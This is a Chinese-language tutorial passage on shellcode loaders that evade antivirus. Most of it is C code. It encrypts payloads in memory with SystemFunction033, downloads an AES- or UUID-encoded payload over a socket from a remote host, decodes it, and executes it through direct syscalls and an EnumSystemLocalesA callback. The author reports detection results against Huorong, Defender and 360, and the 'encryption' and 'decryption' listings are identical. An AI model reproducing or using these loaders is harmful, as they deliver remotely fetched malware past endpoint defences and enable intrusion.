3x0 内存中的加解密
3x0x0 SystemFunction032
SystemFunction032
:一个系统函数,可以做到在内存中加解密,调用也很方便
或者沿着这个思路我们可以找找其他在内存中加解密的方法
加密代码:
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main() {
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char str_key[] = "helloWorld";
unsigned char shellcode[] = {};
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof key;
scdata.Buffer = (PUCHAR)shellcode;
scdata.Length = sizeof shellcode;
SystemFunction033(&scdata, &key);
printf("unsigned char shellcode[] = { ");
for (size_t i = 0; i < scdata.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", scdata.Buffer[i]);
if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
}
}
解密代码:
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main() {
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
char str_key[] = "helloWorld";
unsigned char shellcode[] = {};
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof key;
scdata.Buffer = (PUCHAR)shellcode;
scdata.Length = sizeof shellcode;
SystemFunction033(&scdata, &key);
printf("unsigned char shellcode[] = { ");
for (size_t i = 0; i < scdata.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", scdata.Buffer[i]);
if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
}
}
综合利用代码:
//上面的函数都是上面ase和异常处理的
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main(int argc, char** argv) {
// const unsigned char* key1 = ;
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5003";
char* Resource = "beaase.bin";
hEvent = CreateEvent(NULL, TRUE, false, NULL);
PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
if (temp == NULL)
{
printf("AddVectoredExceptionHandler调用失败");
getchar();
return 0;
}
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
//aes解密
AES aes(AESKeyLength::AES_128);
unsigned char key1[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key1);
//xor解密
/*int xorkey = 5 + 5;
XORcrypt(a, recvbuf_size,xorkey);*/
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, a, recvbuf_size);
//sys内存解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)shellcode_addr;
scdata.Length = recvbuf_size;
SystemFunction033(&scdata, &key);
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
((void(*)())shellcode_addr)();
return 0;
}
3x0x1 UUID内存加解密
参考文章:https://www.crisprx.top/archives/120
他们是把uuid写在shellcode加载器上面的,我给他改了一下,写成远程加载再加上uuid,再加上syscall,这里的uuid和上面的还有些不一样,是在内存中加解密。
原理性问题参考上面文字地址。
效果:
火绒动静态都免;defender静态免动态被杀;360动静态都被杀
实现代码
uuid.bin文件需要自己修改,先用工具给shellcode加密,https://github.com/Haunted-Banshee/Shellcode-Hastur/
复制到一个txt文件后,使用自带的替换功能,把前面的空格,双引号逗号都替换成空
替换后为这样子
把文件后缀改成bin,用010等十六进制编辑器打开
这里的0D0A都是换行符,但是我们在代码里面遍历uuid每一行的时候需要有个结束符\0,所以我们给替换成0000,至此我们的uuid.bin就可以了
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "jumper.h"
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
//printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
//printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
//printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
// printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
// printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
//printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
// printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
//printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
//printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
//printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0) {
break;
//printf("[+] Connection closed\n");
}
else
{
return 1;
//printf("recv failed with error: %d\n", WSAGetLastError());
}
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main()
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "uuid.bin";
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
LPVOID uuid_addr = NULL;
HANDLE thandle = NULL;
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
hProc,
&base_addr,
0,
(PSIZE_T)&recvbuf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;
NTSTATUS NTAVM1 = Sw3NtAllocateVirtualMemory(
hProc,
&uuid_addr,
0,
(PSIZE_T)&recvbuf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
//memcpy(base_addr, recvbuf_ptr, recvbuf_size);
Sw3NtWriteVirtualMemory(hProc, uuid_addr, recvbuf_ptr, recvbuf_size, NULL);
// 循环遍历uuid列表 使用UuidFromStringA将字符串UUID转换为二进制UUID并加载到内存中
for (int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
if (status != RPC_S_OK) {
break;
}
uuid_addr =(void*)((uintptr_t)uuid_addr + 0x26);
mem_ptr += 16;//uuid 16字节大小
}
DWORD oldProtect;
//VirtualProtect(base_addr, recvbuf_size, PAGE_EXECUTE, &oldProtect);
Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);
}
注:
DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;
这句代码的作用是为了保存shellcode内存首地址,用mem_ptr去遍历,遍历到最后mem_ptr的地址会是shellcode的尾地址,但是我们调用shellcode就直接调用base_addr即可